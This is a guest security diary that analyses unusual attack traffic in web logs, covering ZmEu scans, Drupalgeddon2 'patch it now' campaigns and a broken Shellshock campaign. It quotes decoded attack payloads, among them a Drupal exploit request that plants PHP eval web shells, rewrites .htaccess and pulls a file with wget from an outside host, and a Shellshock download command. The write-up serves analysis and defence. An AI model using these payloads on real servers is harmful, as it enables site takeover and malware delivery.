[This is a guest diary submitted by Jan Kopriva. Jan is working for Alef Nula (http://www.alef.com) and you can follow him on Twitter at @jk0pr]

Probably anyone who deals with security analysis of logs, PCAPs or other artifacts on a daily basis has come across some strange or funny texts, payloads or messages in them.

Sometimes, these unusual texts are intended as jokes (such as the „DELETE your logs“ poem which was logged by a large number of HTTP servers back in 2015 [1]), while at other times they may be connected with malicious activity. If you have an IPS/IDS deployed in front of your webservers, you’ve no doubt seen logs of HTTP GET requests for the path „/w00tw00t.at.blackhats.romanian.anti-sec:)“. Although these requests might seem funny, they represent an indicator of a potential attack, since they are generated by the ZmEu scanner, which is often used in campaigns targeting servers with phpMyAdmin installed.

While certain benign-looking requests, such as the ones generated by ZmEu, might indicate malicious activity, sometimes the opposite is true as well. Couple of times this year, we’ve noticed untargeted attempts at exploiting vulnerabilities on web servers with the intent to inform administrators about the need to patch the software they’re running.

Some of these warning activities were „grey“ in their nature at best. This was the case with the following example from March 2019, where the message to an administrator of a WordPress site was followed by an attempt to exfiltrate data from the targeted server.

Other attempts at warning the administrators, however, seemed to be well-intentioned, if not strictly ethical. A good example might be a campaign targeting Drupal sites vulnerable to CVE-2018-7600 (i.e. the „Drupalgeddon2 vulnerability“), which was active in March and April of this year and in which its authors tried to get the message across by creating a file on the server named vuln.htm and containing the text „Vuln!! patch it Now!“.

When decoded (and with line breaks added), the POST data look like this:

mail[#markup]=echo Vuln!! patch it Now!> vuln.htm&
mail[#type]=markup&
form_id=user_register_form&
_drupal_ajax=1&
mail[#post_render][]=exec

Unfortunately, it seems that some not-so-well-intentioned actors took inspiration from this, as a similar campaign appeared in April, in which its authors tried to create the same file with the same content on the targeted server. Unfortunately, they tried to create a couple of web shells named vuln.php, modify the .htaccess file and download another PHP file to the server at the same time.

When decoded (and again slightly modified), the parameters in the request look like this:

/?q=user/password&
name[#post_render][]=passthru&
name[#type]=markup&name[#markup]=echo 'Vuln!! patch it Now!' > vuln.htm; 
echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; 
echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; 
echo 'AddType application/x-httpd-php .jpg' > .htaccess; 
wget 'http://domain_redacted/Deutsch/images/up.php'

The unfortunate fact that in this case, a malicious actor managed to create something damaging based on something which was intended to be benign and possibly even helpful reminded me of an interesting campaign, where the opposite was true and where the relevant logs and PCAPs were both strange and funny.

In this campaign, which we detected between July 23, 2016, and August 4, 2016, it’s author tried to target web servers vulnerable to Shellshock using HTTP GET requests with a payload placed in the User-Agent header. So far nothing unusual.

What made this campaign stand out was that its author seemed to have reused someone else’s code in an incorrect fashion. The payload code was straightforward and appeared to have been intended for download of a malicious file from the attacker‘s domain to the targeted server. However, the actor behind the campaign probably made a mistake while modifying the placeholders in the code, where his own domain should have been, which resulted in something quite unexpected…

The relevant part of payload (slightly modified) looks like this:

system("wget http://ip_redacted/YOUR_URL_HERE ;
curl -O http://ip_redacted/YOUR_URL_HERE ;
fetch http://ip_redacted/YOUR_URL_HERE");

It probably won’t come as a surprise, that the path /YOUR_URL_HERE on the attacker’s server (all requests seen contained the same IP address of this server) didn’t contain any file and attempts to access it resulted in a HTTP 404 code. That meant that even if a vulnerable server was targeted, the payload wouldn’t be able to download any malicious files to it. 

Someone mentioned to me a theory at the time, that it might have been an original promotional campaign for a botnet for hire (i.e. „As you may see, I have this active botnet which may be used to spread malware – YOUR URL could be HERE“). However, this seems quite unlikely and a – by far – more probable explanation is that the malicious actor simply made an error

Although this isn’t the only malicious campaign where an attacker seems to have made a simple mistake like this, the fact that it ran for almost two weeks in this broken state makes it quite unusual…and one of the best examples I’ve ever seen of how not to do an attack campaign.

[1] https://www.theregister.co.uk/2016/01/06/30_million_servers_log_poem/